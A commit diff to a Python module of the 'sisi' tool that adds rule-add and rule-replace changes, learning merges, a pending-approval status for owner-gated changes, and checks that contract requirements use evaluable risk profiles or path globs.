Items 4, 5, 9 (and the planner for 6, 7): backlog and pending-approval statuses, due counts only what a cycle can act on, cycle_notice switch deleted, duplicates refused, origin project is the main repository, repair on update, contract-requirement when must be evaluable. done / next: tests for 6, 7, 10; brief (8)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
This commit is contained in:
swaitsandClaude Sonnet 5.5 committed 2026-11-23 14:23:42 -07:00
1 parent 11554b759a
commit 41d4f38dbb
9 files changed
+753 -161

No files matched your search

+290 -87
View File
@@ -46,9 +46,9 @@ import copy, difflib, json, os, re, sys, time
from . import documents, evaluate, learning as L, overlay, paths, pdata from . import documents, evaluate, learning as L, overlay, paths, pdata
DUE_AFTER = 5 # proposed learnings waiting make a cycle due (a counter, checked in normal use) DUE_AFTER = 5 # proposed learnings waiting make a cycle due (a counter, checked in normal use)
MECHANISM_KINDS = ("contract-requirement", "command-check", "library", "rule-text", MECHANISM_KINDS = ("contract-requirement", "command-check", "library", "rule-add", "rule-replace",
"risk", "routing", "benchmark") "risk", "routing", "benchmark")
GLOBAL_KINDS = ("rule-text", "library") # they change what every project loads: reach is `user` GLOBAL_KINDS = ("rule-add", "rule-replace", "library") # they change what every project loads: reach is `user`
# What a cycle changes on a learning record; revert restores exactly these fields, so records # What a cycle changes on a learning record; revert restores exactly these fields, so records
# and findings written after the cycle survive a revert. # and findings written after the cycle survive a revert.
CYCLE_FIELDS = ("status", "validation", "mechanism_ref", "mechanism_scope", "promoted_at", CYCLE_FIELDS = ("status", "validation", "mechanism_ref", "mechanism_scope", "promoted_at",
@@ -145,11 +145,21 @@ def load_enforced(project=None):
return [c for c in checks if entry_applies(c, project, auth)] return [c for c in checks if entry_applies(c, project, auth)]
def _requirement_met(c, entry): def _requirement_met(c, entry, project=None):
"""Does the contract meet this requirement? It applies only when its `when` triggers: a risk
profile (the contract declares that profile or a higher one) or a path glob (the unit changed a
path matching it). A `when` that is neither never triggers (free text nothing evaluates)."""
from . import risk
want, when = entry.get("require_kind"), str(entry.get("when") or "") want, when = entry.get("require_kind"), str(entry.get("when") or "")
w = L.stems(when) if when in risk.PROFILES:
trig = any(ch.get("kind") == when or (w & L.stems((ch.get("claim") or "") + " " + (ch.get("id") or ""))) declared = (c.get("risk") or {}).get("profile")
for ch in c.get("checks", []) if isinstance(ch, dict)) or bool(w & L.stems(c.get("goal") or "")) trig = declared in risk.PROFILES and risk._ORDER[declared] >= risk._ORDER[when]
elif when_is_evaluable(when):
from . import verify as V
files = V.changed_paths(c, project) if project else None
trig = files is None or any(risk._glob_match(f, when) for f in files)
else:
trig = False
if not trig: if not trig:
return True return True
max_rung = entry.get("max_rung") max_rung = entry.get("max_rung")
@@ -171,7 +181,7 @@ def enforced_results(c, project, deadline=None, default_timeout=60):
base = {"item": "enforced", "tier": "fast", "id": "enforced:learning-%s" % lid, "kind": None, base = {"item": "enforced", "tier": "fast", "id": "enforced:learning-%s" % lid, "kind": None,
"rung": None, "claim": "enforced learning %s" % lid, "duration_s": 0.0, "tail": ""} "rung": None, "claim": "enforced learning %s" % lid, "duration_s": 0.0, "tail": ""}
if e.get("type") == "contract-requirement": if e.get("type") == "contract-requirement":
if not _requirement_met(c, e): if not _requirement_met(c, e, project):
msg = ("enforced learning %s: a contract touching %r must contain a check of kind %s" msg = ("enforced learning %s: a contract touching %r must contain a check of kind %s"
% (lid, e.get("when"), e.get("require_kind"))) % (lid, e.get("when"), e.get("require_kind")))
out.append(dict(base, status="failed", claim=msg, tail=msg)) out.append(dict(base, status="failed", claim=msg, tail=msg))
@@ -188,10 +198,13 @@ def enforced_results(c, project, deadline=None, default_timeout=60):
# ---- due-ness (a counter, checked during normal use) ---------------------------- # ---- due-ness (a counter, checked during normal use) ----------------------------
def proposed(rows=None): def proposed(rows=None):
"""The learnings a cycle can act on now: proposed, written by sisi's own commands, not a
subagent's candidate, and not a change to sisi itself (those are on the backlog and go out with
`sisi promote --export`). A learning waiting for the owner is `pending-approval`, not this."""
rows = L.load_learnings() if rows is None else rows rows = L.load_learnings() if rows is None else rows
ledger = L.load_ledger() ledger = L.load_ledger()
return [r for r in rows if r.get("status") == "proposed" and not r.get("candidate") return [r for r in rows if r.get("status") == "proposed" and not r.get("candidate")
and L.is_registered(r, ledger)] and (r.get("proposed") or {}).get("mechanism") != "tool" and L.is_registered(r, ledger)]
def due_notice(session=None): def due_notice(session=None):
@@ -200,10 +213,7 @@ def due_notice(session=None):
n = len(proposed()) n = len(proposed())
fl = len(L.flagged()) fl = len(L.flagged())
lines = [] lines = []
# The user's config can silence the request to run a cycle (learning.cycle_notice: false). if n >= DUE_AFTER or fl:
from . import store
notice = (store.config().get("learning") or {}).get("cycle_notice", True)
if notice and (n >= DUE_AFTER or fl):
lines.append("sisi: a learning cycle is due (%d proposed learning(s)%s; `sisi cycle` prints the brief)" lines.append("sisi: a learning cycle is due (%d proposed learning(s)%s; `sisi cycle` prints the brief)"
% (n, ", %d flagged not working" % fl if fl else "")) % (n, ", %d flagged not working" % fl if fl else ""))
pend = L.pending_notice() pend = L.pending_notice()
@@ -280,7 +290,7 @@ def _need(cond, msg):
def _text(a, key, rid): def _text(a, key, rid):
v = a.get(key) v = a.get(key)
_need(isinstance(v, str) and v.strip(), "%s for %s needs %s" % (a.get("mechanism_kind"), rid, key)) _need(isinstance(v, str) and v.strip(), "%s for %s needs \"%s\": a non-empty string" % (a.get("mechanism_kind"), rid, key))
return v return v
@@ -293,16 +303,97 @@ def _risk_lowers(pattern, profile):
return risk._ORDER[profile] < risk._ORDER[cur] return risk._ORDER[profile] < risk._ORDER[cur]
def when_is_evaluable(when):
"""A contract requirement's `when` must be something the code evaluates: a risk profile name (it
applies to a contract that declares that profile or a higher one) or a path glob (it applies to a
unit that changed a path matching it)."""
from . import risk
w = when if isinstance(when, str) else ""
return bool(w) and (w in risk.PROFILES or bool(re.search(r"[*?\[{/]", w))
or bool(re.fullmatch(r"[\w.-]+\.[A-Za-z0-9]+", w)))
def _sentences(add, lid, key="add"):
"""One or two plain sentences, checked; returns the cleaned text."""
_need(isinstance(add, str) and add.strip(), "rule-add for %s needs \"%s\": one or two sentences" % (lid, key))
t = " ".join(add.split())
_need(len(t) <= 400 and not t.startswith(("#", "-", "*", ">", "|")) and "Why:" not in t,
"\"%s\" for %s must be one or two plain sentences (at most 400 characters, no heading, list marker "
"or `Why:`)" % (key, lid))
n = len(re.findall(r"[.!?](?:\s|$)", t))
_need(1 <= n <= 2 and t[-1] in ".!?", "\"%s\" for %s must be one or two sentences ending in . ! or ? (found %d)"
% (key, lid, n))
_need(not L.is_generic(t), "\"%s\" for %s is generic advice; name the situation and what to do in it" % (key, lid))
return t
def _shortens(a, lid, need):
"""Adding to the rulebook must name what it shortens, or say that nothing can be."""
v = a.get("shortens")
if not need and v is None:
return None
_need(isinstance(v, str) and len(v.split()) >= 3,
"this adds to the rulebook, so %s needs \"shortens\": name the rule id and the words it cuts, or start "
"with \"nothing:\" and say why nothing can be shortened" % lid)
rids = {x["id"] for x in overlay.effective()[1]}
ok = v.strip().lower().startswith("nothing") or any(r in v for r in rids)
_need(ok, "\"shortens\" for %s must name an existing rule id (the brief lists them) or start with \"nothing:\"" % lid)
return v.strip()
def _rule_known():
return {x["id"] for x in overlay.base_rules()[1]} | set(overlay.overlay_rules())
def _book_size():
return overlay.size(overlay.render())
def _plan_rule(kind, a, rec, virtual_rules, reasons, n):
lid = rec["id"]
rid = a.get("rule_id")
_need(isinstance(rid, str) and overlay.ID_OK.match(rid), "%s for %s needs \"rule_id\": the id the brief lists" % (kind, lid))
_need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid)
in_force = {r["id"]: r for r in overlay.effective()[1]}
if kind == "rule-add":
_need(rid in in_force or rid in virtual_rules, "no rule %r to add to (the brief lists the ids)" % rid)
add = _sentences(a.get("add"), lid)
cur = virtual_rules.get(rid) or in_force[rid]
new = overlay.rule_with_added(rid, add, dict(cur, id=rid))
n["rule_id"], n["add"] = rid, add
n["shortens"] = _shortens(a, lid, True)
if L.SCOPE_RANK[L.earned_scope(rec)] < L.SCOPE_RANK["user"]:
reasons.append("rule-add changes what every project loads, and learning %s has earned only its own "
"project" % lid)
else:
text = _text(a, "rule_text", lid)
new = documents.check_rule_text(text, rid)
existing = in_force.get(rid)
n["rule_id"], n["rule_text"] = rid, text
grows = existing is None or len(overlay.rule_text(new)) > len(overlay.rule_text(existing))
n["shortens"] = _shortens(a, lid, grows)
reasons.append("%s %s the whole of rule %s; a whole-rule replacement always needs the owner"
% (kind, "replaces" if existing else "adds", rid))
virtual_rules[rid] = new
before = _book_size()
ok, msg = documents.check_budgets(overlay.render_with(virtual_rules))
_need(ok, "%s for %s breaks the rulebook budget: %s. Shorten another rule in the same file "
"(rule-replace with less text) or drop this one; nothing is applied" % (kind, lid, msg))
n["size_before_after"] = [list(before), list(overlay.size(overlay.render_with(virtual_rules)))]
def _plan_promote(a, rec, virtual_rules, run=True): def _plan_promote(a, rec, virtual_rules, run=True):
"""(normalized action, reasons that make it consequential, granted scope, replay).""" """(normalized action, reasons that make it consequential, granted scope, replay)."""
kind = a.get("mechanism_kind") kind = a.get("mechanism_kind")
lid = rec["id"] lid = rec["id"]
_need(kind != "rule-text", "mechanism_kind rule-text is gone: use rule-add (one or two sentences added to a rule) "
"or rule-replace (the whole rule); %s" % lid)
_need(kind in MECHANISM_KINDS, "mechanism_kind for %s must be one of %s" % (lid, "|".join(MECHANISM_KINDS))) _need(kind in MECHANISM_KINDS, "mechanism_kind for %s must be one of %s" % (lid, "|".join(MECHANISM_KINDS)))
_need(rec.get("proposed", {}).get("mechanism") != "tool", _need(rec.get("proposed", {}).get("mechanism") != "tool",
"learning %s is a tool change to sisi itself; it goes to the backlog and the contribution " "learning %s is a tool change to sisi itself; it is on the backlog and goes out with "
"export (`sisi promote --export`), not a cycle mechanism" % lid) "`sisi promote --export`, not a cycle mechanism. Remove this action" % lid)
_need(not rec.get("candidate"), "learning %s is a subagent candidate; a parent retro must adopt it first " _need(not rec.get("candidate"), "learning %s is a subagent candidate; a parent retro must adopt it first "
"(`sisi retro --adopt %s`)" % (lid, lid)) "(`sisi retro --adopt %s`). Remove this action" % (lid, lid))
n = {"action": "promote", "learning": lid, "mechanism_kind": kind} n = {"action": "promote", "learning": lid, "mechanism_kind": kind}
reasons, replay = [], None reasons, replay = [], None
earned = L.earned_scope(rec) earned = L.earned_scope(rec)
@@ -313,11 +404,15 @@ def _plan_promote(a, rec, virtual_rules, run=True):
if asked and L.SCOPE_RANK[asked] > L.SCOPE_RANK[base]: if asked and L.SCOPE_RANK[asked] > L.SCOPE_RANK[base]:
granted = asked granted = asked
reasons.append("the cycle asked for %s scope; learning %s has earned %s" % (asked, lid, earned)) reasons.append("the cycle asked for %s scope; learning %s has earned %s" % (asked, lid, earned))
if kind in GLOBAL_KINDS and L.SCOPE_RANK[earned] < L.SCOPE_RANK["user"]: if kind == "library" and L.SCOPE_RANK[earned] < L.SCOPE_RANK["user"]:
reasons.append("%s changes what every project loads, and learning %s has earned only its own project" reasons.append("library changes what every project loads, and learning %s has earned only its own project"
% (kind, lid)) % lid)
elif kind not in GLOBAL_KINDS and L.SCOPE_RANK[granted] > L.SCOPE_RANK[earned]: elif kind not in GLOBAL_KINDS and L.SCOPE_RANK[granted] > L.SCOPE_RANK[earned]:
reasons.append("wider than learning %s has earned (%s)" % (lid, earned)) reasons.append("wider than learning %s has earned (%s)" % (lid, earned))
proj = rec.get("origin_project")
if kind not in GLOBAL_KINDS and not (proj and os.path.isdir(proj)):
reasons.append("the origin project %s no longer exists on disk, so nothing can show this mechanism "
"works there" % proj)
if kind == "command-check": if kind == "command-check":
n["cmd"] = _text(a, "cmd", lid).strip() n["cmd"] = _text(a, "cmd", lid).strip()
@@ -325,7 +420,7 @@ def _plan_promote(a, rec, virtual_rules, run=True):
n["expect"] = {"exit": exp.get("exit", 0)} n["expect"] = {"exit": exp.get("exit", 0)}
if a.get("timeout_s") is not None: if a.get("timeout_s") is not None:
_need(isinstance(a["timeout_s"], (int, float)) and 0 < a["timeout_s"] <= 600, _need(isinstance(a["timeout_s"], (int, float)) and 0 < a["timeout_s"] <= 600,
"timeout_s for %s must be between 0 and 600" % lid) "timeout_s for %s must be a number between 0 and 600" % lid)
n["timeout_s"] = a["timeout_s"] n["timeout_s"] = a["timeout_s"]
replay = replay_validate(rec, n, run) replay = replay_validate(rec, n, run)
_need(replay[0] != "vacuous", "command check for %s is vacuous: %s. Write a command that reads a path " _need(replay[0] != "vacuous", "command check for %s is vacuous: %s. Write a command that reads a path "
@@ -336,23 +431,19 @@ def _plan_promote(a, rec, virtual_rules, run=True):
if L.SCOPE_RANK[granted] > 0: if L.SCOPE_RANK[granted] > 0:
reasons.append("an enforced command that would run outside the origin project") reasons.append("an enforced command that would run outside the origin project")
elif kind == "contract-requirement": elif kind == "contract-requirement":
n["when"], n["require_kind"] = _text(a, "when", lid), _text(a, "require_kind", lid) n["when"], n["require_kind"] = _text(a, "when", lid).strip(), _text(a, "require_kind", lid)
from . import contract as _contract
_need(when_is_evaluable(n["when"]),
"\"when\" for %s (%r) is not something the code evaluates. Use a risk profile (%s) or a path glob "
"such as src/auth/** or *.sql" % (lid, n["when"], "|".join(_profiles())))
_need(n["require_kind"] in _contract.KINDS, "require_kind for %s must be one of %s"
% (lid, "|".join(_contract.KINDS)))
if a.get("max_rung") is not None: if a.get("max_rung") is not None:
_need(isinstance(a["max_rung"], int), "max_rung for %s must be an integer" % lid) _need(isinstance(a["max_rung"], int) and not isinstance(a["max_rung"], bool),
"max_rung for %s must be an integer" % lid)
n["max_rung"] = a["max_rung"] n["max_rung"] = a["max_rung"]
elif kind == "rule-text": elif kind in ("rule-add", "rule-replace"):
rid = a.get("rule_id") _plan_rule(kind, a, rec, virtual_rules, reasons, n)
_need(isinstance(rid, str) and overlay.ID_OK.match(rid), "rule-text for %s needs a plain rule_id" % lid)
_need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid)
text = _text(a, "rule_text", lid)
parsed = documents.check_rule_text(text, rid)
known = {x["id"] for x in overlay.base_rules()[1]} | set(overlay.overlay_rules())
if rid in known or rid in virtual_rules:
reasons.append("replaces the existing rule %s" % rid)
virtual_rules[rid] = parsed
ok, msg = documents.check_budgets(overlay.render_with(virtual_rules))
_need(ok, "rule-text for %s breaks the rulebook budget: %s; nothing is applied" % (lid, msg))
n["rule_id"], n["rule_text"] = rid, text
elif kind == "library": elif kind == "library":
_need(a.get("library_kind") in ("recipe", "verifier"), "library for %s needs library_kind recipe|verifier and entry_text" % lid) _need(a.get("library_kind") in ("recipe", "verifier"), "library for %s needs library_kind recipe|verifier and entry_text" % lid)
n["library_kind"], n["entry_text"] = a["library_kind"], _text(a, "entry_text", lid) n["library_kind"], n["entry_text"] = a["library_kind"], _text(a, "entry_text", lid)
@@ -384,47 +475,106 @@ def _plan_promote(a, rec, virtual_rules, run=True):
return n, reasons, granted, replay return n, reasons, granted, replay
def _profiles():
from . import risk
return risk.PROFILES
def _waiting():
"""(learning ids with a pending decision, rule ids with a pending change), from the pending list."""
lids, rids = {}, {}
for i in L.load_pending():
a = i.get("action") or {}
if i.get("learning"):
lids[i["learning"]] = i["id"]
if a.get("rule_id"):
rids[a["rule_id"]] = i["id"]
return lids, rids
def validate_doc(doc, rows, run=True): def validate_doc(doc, rows, run=True):
"""Every refusal is raised before anything is applied. Returns the plan: a list of """Every problem in the file is found and reported together, each with how to fix it; nothing
{"kind": status|promote|disable-rule, "action", "rec", "pending", "reasons", "scope", "replay"}.""" is applied unless the file has none. Returns the plan: a list of {"kind": status|merge|promote|
disable-rule, "action", "rec", "pending", "reasons", "scope", "replay"}."""
if not isinstance(doc, dict) or not isinstance(doc.get("actions"), list) or not doc["actions"]: if not isinstance(doc, dict) or not isinstance(doc.get("actions"), list) or not doc["actions"]:
raise CycleError("the cycle file must be JSON with a non-empty \"actions\" list") raise CycleError("the cycle file must be a JSON object with a non-empty \"actions\" list")
base = doc.get("base") problems = []
if base != L.store_base(rows): if doc.get("base") != L.store_base(rows):
raise CycleError("stale base: the cycle was written against %r but the store is at %r; " problems.append("stale or missing \"base\": the file says %r but the store is at %r; copy the base from a "
"take a fresh brief (`sisi cycle`)" % (base, L.store_base(rows))) "fresh brief (`sisi cycle`)" % (doc.get("base"), L.store_base(rows)))
ledger = L.load_ledger() ledger = L.load_ledger()
plan, acted, virtual = [], set(), {} wait_l, wait_r = _waiting()
for a in doc["actions"]: plan, acted, virtual, ruled = [], set(), {}, set()
_need(isinstance(a, dict), "every action must be an object") for i, a in enumerate(doc["actions"], 1):
act = a.get("action") who = "action %d" % i
if act == "disable-rule": try:
rid = a.get("rule_id") _need(isinstance(a, dict), "every action must be a JSON object")
_need(isinstance(rid, str) and rid, "disable-rule needs a rule_id") act = a.get("action")
_need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid) if act == "disable-rule":
known = {x["id"] for x in overlay.base_rules()[1]} | set(overlay.overlay_rules()) rid = a.get("rule_id")
_need(rid in known, "no rule %r" % rid) who += " (disable-rule %s)" % rid
plan.append({"kind": "disable-rule", "action": {"action": "disable-rule", "rule_id": rid}, _need(isinstance(rid, str) and rid, "disable-rule needs \"rule_id\"")
"rec": None, "pending": True, "scope": None, "replay": None, _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid)
"reasons": ["disables the rule %s" % rid]}) _need(rid in _rule_known(), "no rule %r (the brief lists the ids)" % rid)
continue _need(rid not in wait_r and rid not in ruled, "rule %s already has a change %s; wait for the "
rec = L.get(rows, a.get("learning") or "") "owner's decision" % (rid, "waiting (%s)" % wait_r[rid] if rid in wait_r else "in this file"))
_need(rec is not None, "no learning %r" % a.get("learning")) ruled.add(rid)
_need(L.is_registered(rec, ledger), "learning %s was not written by sisi's own commands " plan.append({"kind": "disable-rule", "action": {"action": "disable-rule", "rule_id": rid},
"(added or edited by hand); a cycle does not act on it" % rec["id"]) "rec": None, "pending": True, "scope": None, "replay": None,
acted.add(rec["id"]) "reasons": ["disables the rule %s" % rid]})
if act in ("revise", "revert", "reject"): continue
_need((a.get("why") or "").strip(), "%s of %s needs a why" % (act, rec["id"])) lid = a.get("learning")
plan.append({"kind": "status", "action": {"action": act, "learning": rec["id"], "why": a["why"]}, who += " (%s)" % lid
"rec": rec, "pending": False, "scope": None, "replay": None, "reasons": []}) rec = L.get(rows, lid or "")
continue _need(rec is not None, "no learning %r (use the ids the brief lists)" % lid)
_need(act == "promote", "unknown action %r" % act) _need(L.is_registered(rec, ledger), "learning %s was not written by sisi's own commands "
n, reasons, granted, replay = _plan_promote(a, rec, virtual, run) "(added or edited by hand); a cycle does not act on it" % rec["id"])
plan.append({"kind": "promote", "action": n, "rec": rec, "pending": bool(reasons), _need(rec["id"] not in acted, "learning %s is acted on twice in this file; one action per learning" % rec["id"])
"scope": granted, "replay": replay, "reasons": reasons}) acted.add(rec["id"])
if act in ("revise", "revert", "reject"):
why = a.get("why")
_need(isinstance(why, str) and why.strip(), "%s of %s needs \"why\"" % (act, rec["id"]))
_need(act != "reject" or not L.is_generic(why),
"the reason for rejecting %s is generic; say what is wrong with it (the evidence, a path, a "
"number), or merge it into the learning it repeats" % rec["id"])
plan.append({"kind": "status", "action": {"action": act, "learning": rec["id"], "why": why},
"rec": rec, "pending": False, "scope": None, "replay": None, "reasons": []})
continue
if act == "merge":
into = L.get(rows, a.get("into") or "")
_need(into is not None and into["id"] != rec["id"],
"merge of %s needs \"into\": the id of a different learning" % rec["id"])
_need(into.get("status") not in L.ENDED and L.is_registered(into, ledger),
"learning %s cannot take a merge (ended, or not written by sisi's own commands)" % into["id"])
shared = set(rec.get("terms") or []) & set(into.get("terms") or [])
_need(len(shared) >= 2, "%s and %s share too little (%d term(s)) to be the same learning; reject %s "
"with a specific reason instead" % (rec["id"], into["id"], len(shared), rec["id"]))
plan.append({"kind": "merge", "action": {"action": "merge", "learning": rec["id"], "into": into["id"],
"why": str(a.get("why") or "")},
"rec": rec, "pending": False, "scope": None, "replay": None, "reasons": []})
continue
_need(act == "promote", "unknown action %r: use promote, revise, revert, reject, merge or disable-rule" % act)
_need(rec["id"] not in wait_l, "learning %s already waits for the owner (%s); it cannot be promoted "
"again until that is decided" % (rec["id"], wait_l.get(rec["id"])))
rid = a.get("rule_id") if a.get("mechanism_kind") in ("rule-add", "rule-replace") else None
if rid:
_need(rid not in wait_r and rid not in ruled,
"rule %s already has a change %s; a second one waits until that is decided" %
(rid, "waiting (%s)" % wait_r[rid] if rid in wait_r else "in this file"))
n, reasons, granted, replay = _plan_promote(a, rec, virtual, run)
if rid:
ruled.add(rid)
plan.append({"kind": "promote", "action": n, "rec": rec, "pending": bool(reasons),
"scope": granted, "replay": replay, "reasons": reasons})
except (CycleError, overlay.OverlayError, documents.DocumentError) as e:
problems.append("%s: %s" % (who, e))
ignored = [r["id"] for r in L.flagged(rows) if r["id"] not in acted] ignored = [r["id"] for r in L.flagged(rows) if r["id"] not in acted]
_need(not ignored, "this cycle ignores learning(s) flagged not working: %s; " if ignored:
"revise or revert each one" % ", ".join(ignored)) problems.append("flagged-not-working learning(s) %s are not acted on: add a revise or revert action for "
"each" % ", ".join(ignored))
if problems:
raise CycleError("the cycle file has %d problem(s); nothing is applied:\n%s" % (
len(problems), "\n".join(" %d. %s" % (n, p) for n, p in enumerate(problems, 1))))
return plan return plan
@@ -464,16 +614,27 @@ def _apply_mechanism(a, rec, granted, approval=None):
"max_rung": a.get("max_rung")}, rec, granted, approval)) "max_rung": a.get("max_rung")}, rec, granted, approval))
_put_json("enforced.json", d, "cycle: enforced contract requirement for %s" % lid) _put_json("enforced.json", d, "cycle: enforced contract requirement for %s" % lid)
return "enforced contract requirement" return "enforced contract requirement"
if kind == "rule-text": if kind in ("rule-add", "rule-replace"):
rid = a["rule_id"] rid = a["rule_id"]
known = {x["id"] for x in overlay.base_rules()[1]} | set(overlay.overlay_rules()) lines0, chars0 = _book_size()
if rid in known: in_force = {r["id"]: r for r in overlay.effective()[1]}
overlay.replace_rule(rid, a["rule_text"]) if kind == "rule-add":
cur = in_force.get(rid)
if cur is None:
raise CycleError("rule %r no longer exists" % rid)
new = overlay.rule_with_added(rid, a["add"], cur)
text = overlay.rule_text(new)
else: else:
overlay.add_rule(a["rule_text"], rid) text = a["rule_text"]
if rid in in_force:
overlay.replace_rule(rid, text)
else:
overlay.add_rule(text, rid)
overlay.build_canon() overlay.build_canon()
lines1, chars1 = _book_size()
rec.setdefault("proposed", {})["target"] = rec.get("proposed", {}).get("target") or rid rec.setdefault("proposed", {})["target"] = rec.get("proposed", {}).get("target") or rid
return "rule %s" % rid return "rule %s (%s; the loaded rulebook went from %d to %d lines, %d to %d characters)" % (
rid, "sentence(s) added" if kind == "rule-add" else "replaced", lines0, lines1, chars0, chars1)
if kind == "library": if kind == "library":
eid = overlay.put_entry(a["library_kind"], a["entry_text"], a.get("entry_id"), eid = overlay.put_entry(a["library_kind"], a["entry_text"], a.get("entry_id"),
replacing=bool(a.get("replacing"))) replacing=bool(a.get("replacing")))
@@ -514,6 +675,17 @@ def _promoted(rec, ref, granted, replay):
return "%s promoted as %s: %s (%s)" % (rec["id"], result, ref, detail) return "%s promoted as %s: %s (%s)" % (rec["id"], result, ref, detail)
def _apply_merge(a, rec, rows):
into = L.get(rows, a["into"])
rec["status"] = "merged"
rec["merged_into"] = into["id"]
rec["flagged_not_working"] = False
rec.setdefault("history", []).append({"ts": L.now(), "action": "merge", "into": into["id"],
"why": L.scrub_secrets(a.get("why", ""))})
into.setdefault("history", []).append({"ts": L.now(), "action": "absorbed", "learning": rec["id"]})
return "%s merged into %s" % (rec["id"], into["id"]), into
def _apply_status(a, rec): def _apply_status(a, rec):
act = a["action"] act = a["action"]
rec["status"] = {"revise": "revised", "revert": "reverted", "reject": "rejected"}[act] rec["status"] = {"revise": "revised", "revert": "reverted", "reject": "rejected"}[act]
@@ -637,6 +809,10 @@ def apply_file(path):
if p["kind"] == "status": if p["kind"] == "status":
lines.append(_apply_status(a, rec)) lines.append(_apply_status(a, rec))
touched.append(rec["id"]) touched.append(rec["id"])
elif p["kind"] == "merge":
text, into = _apply_merge(a, rec, rows)
lines.append(text)
touched += [rec["id"], into["id"]]
elif p["kind"] == "promote" and not p["pending"]: elif p["kind"] == "promote" and not p["pending"]:
ref = _apply_mechanism(a, rec, p["scope"]) ref = _apply_mechanism(a, rec, p["scope"])
lines.append(_promoted(rec, ref, p["scope"], p["replay"])) lines.append(_promoted(rec, ref, p["scope"], p["replay"]))
@@ -647,8 +823,8 @@ def apply_file(path):
if p["replay"] and p["replay"][0] == "validated": if p["replay"] and p["replay"][0] == "validated":
rec["validation"].update(result="validated", detail=p["replay"][1], rec["validation"].update(result="validated", detail=p["replay"][1],
method=rec["validation"].get("method") or "replay") method=rec["validation"].get("method") or "replay")
if rec.get("status") in ("observed", "analyzed", "proposed", "implemented"): if rec.get("status") not in L.ENDED:
rec["status"] = "validated" rec["status"] = "pending-approval"
touched.append(rec["id"]) touched.append(rec["id"])
lines.append("%s waits for the owner (%s): `sisi approve` lists it, the owner decides with " lines.append("%s waits for the owner (%s): `sisi approve` lists it, the owner decides with "
"`sisi approve %s --yes|--no`" % (rec["id"] if rec else a.get("rule_id"), "`sisi approve %s --yes|--no`" % (rec["id"] if rec else a.get("rule_id"),
@@ -699,6 +875,11 @@ def revert_cycle(cid=None):
r.pop(k, None) r.pop(k, None)
r.setdefault("history", []).append({"ts": L.now(), "action": "cycle-reverted", "cycle": rec["id"]}) r.setdefault("history", []).append({"ts": L.now(), "action": "cycle-reverted", "cycle": rec["id"]})
touched.append(r) touched.append(r)
dropped = set(rec.get("pending_added") or [])
pending_for = {i.get("learning") for i in L.load_pending() if i.get("learning") and i.get("id") not in dropped}
for r in touched:
if r.get("status") == "pending-approval" and r["id"] not in pending_for:
r["status"] = "proposed" # the decision it waited for is gone: it can be proposed again
if touched: if touched:
L.save_learnings(rows, "revert %s: learning records restored" % rec["id"], touched=touched, via="cycle") L.save_learnings(rows, "revert %s: learning records restored" % rec["id"], touched=touched, via="cycle")
gone = set(rec.get("pending_added") or []) gone = set(rec.get("pending_added") or [])
@@ -804,6 +985,15 @@ def relay_allowed():
return False return False
def _rule_after(a):
"""(rule id, the parsed rule as the action would leave it) for a rule action, against the rule in force."""
rid = a.get("rule_id")
if a.get("mechanism_kind") == "rule-add":
cur = next((r for r in overlay.effective()[1] if r["id"] == rid), None)
return rid, overlay.rule_with_added(rid, a["add"], cur)
return rid, overlay.parse_rule_file(a["rule_text"], rid)
def describe_pending(item): def describe_pending(item):
"""The full action, in words and text, so the owner can see exactly what is approved.""" """The full action, in words and text, so the owner can see exactly what is approved."""
a = item.get("action") or {} a = item.get("action") or {}
@@ -834,17 +1024,23 @@ def describe_pending(item):
out.append(" %s %s (%s):" % (a.get("library_kind"), a.get("entry_id") or "(id from its header)", out.append(" %s %s (%s):" % (a.get("library_kind"), a.get("entry_id") or "(id from its header)",
"replaces the existing entry" if a.get("replacing") else "new")) "replaces the existing entry" if a.get("replacing") else "new"))
out += [" | " + l for l in str(a.get("entry_text") or "").splitlines()[:60]] out += [" | " + l for l in str(a.get("entry_text") or "").splitlines()[:60]]
if kind == "rule-text" or a.get("action") == "replace-rule": if kind in ("rule-add", "rule-replace") or a.get("action") == "replace-rule":
rid, new = a.get("rule_id"), a.get("rule_text") or "" rid = a.get("rule_id")
cur = next((r for r in overlay.effective()[1] if r["id"] == rid), None) cur = next((r for r in overlay.effective()[1] if r["id"] == rid), None)
out.append(" rule %s: %s" % (rid, "text diff against the rule in force" if cur else "new rule")) out.append(" rule %s: %s" % (rid, "text diff against the rule in force" if cur else "new rule"))
if a.get("shortens"):
out.append(" what it shortens: %s" % a["shortens"])
old_text = overlay.rule_text(cur).splitlines() if cur else [] old_text = overlay.rule_text(cur).splitlines() if cur else []
try: try:
new_text = overlay.rule_text(overlay.parse_rule_file(new, rid)).splitlines() new_text = overlay.rule_text(_rule_after(a)[1]).splitlines()
except Exception: except Exception:
new_text = new.splitlines() new_text = str(a.get("add") or a.get("rule_text") or "").splitlines()
diff = list(difflib.unified_diff(old_text, new_text, "in force", "proposed", lineterm="")) diff = list(difflib.unified_diff(old_text, new_text, "in force", "proposed", lineterm=""))
out += [" " + l for l in (diff if cur else ["+ " + l for l in new_text])] out += [" " + l for l in (diff if cur else ["+ " + l for l in new_text])]
sz = a.get("size_before_after")
if sz:
out.append(" loaded rulebook when planned: %d -> %d lines, %d -> %d characters"
% (sz[0][0], sz[1][0], sz[0][1], sz[1][1]))
if a.get("action") == "disable-rule": if a.get("action") == "disable-rule":
out.append(" switches off the rule %s" % a.get("rule_id")) out.append(" switches off the rule %s" % a.get("rule_id"))
out.append(" scope it would take effect in: %s" % (item.get("scope") or "all projects (a rule change)")) out.append(" scope it would take effect in: %s" % (item.get("scope") or "all projects (a rule change)"))
@@ -870,6 +1066,12 @@ def apply_pending(pid, yes, how=None):
if not yes: if not yes:
L.record_approval(row) L.record_approval(row)
L.save_pending(left, "approve: %s refused by the owner" % pid) L.save_pending(left, "approve: %s refused by the owner" % pid)
rows = L.load_learnings()
rec = L.get(rows, item.get("learning") or "")
if rec is not None and rec.get("status") == "pending-approval":
rec["status"] = "rejected" # the owner said no: it is not proposed again
rec.setdefault("history", []).append({"ts": L.now(), "action": "owner-declined", "pending": pid})
L.save_learnings(rows, "approve: %s refused; %s rejected" % (pid, rec["id"]), touched=[rec], via="cycle")
return "%s refused; nothing changed" % pid return "%s refused; nothing changed" % pid
a = item["action"] a = item["action"]
